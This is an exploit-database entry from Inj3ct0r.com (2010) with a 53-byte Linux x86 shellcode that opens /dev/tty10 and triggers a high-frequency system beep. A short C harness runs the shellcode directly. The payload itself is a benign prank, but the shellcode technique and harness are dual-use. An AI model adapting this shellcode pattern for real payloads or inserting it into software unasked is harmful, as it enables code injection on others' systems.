|
========================================================= linux/x86 "high" frequency system beep shellcode 53 bytes =========================================================
/* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : 53 bytes "high" frequency system beep x86 linux Date : Tue Jun 1 14:25:27 2010 Author : gunslinger_ <yudha.gunslinger[at]gmail.com> Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian (must run as root!) */
char *shellcode= "\xeb\x24" /* jmp 0x8048086 */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x05" /* mov $0x5,%al */ "\x5b" /* pop %ebx */ "\x89\xd1" /* mov %edx,%ecx */ "\xcd\x80" /* int $0x80 */ "\x89\xc3" /* mov %eax,%ebx */ "\x6a\x36" /* push $0x36 */ "\x58" /* pop %eax */ "\xb9\xcf\xb4\xff\xff" /* mov $0xffffb4cf,%ecx */ "\xf7\xd1" /* not %ecx */ "\xba\xdc\x01\xa6\x03" /* mov $0x3a601dc,%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\xfe\xc0" /* inc %al */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\xd7\xff\xff\xff" /* call 0x8048062 */ "\x2f" /* das */ "\x64" /* fs */ "\x65" /* gs */ "\x76\x2f" /* jbe 0x80480bf */ "\x74\x74" /* je 0x8048106 */ "\x79\x31" /* jns 0x80480c5 */ "\x30" /* .byte 0x30 */ "";
int main(void) { ((void (*)(void)) shellcode)(); return 0; }
|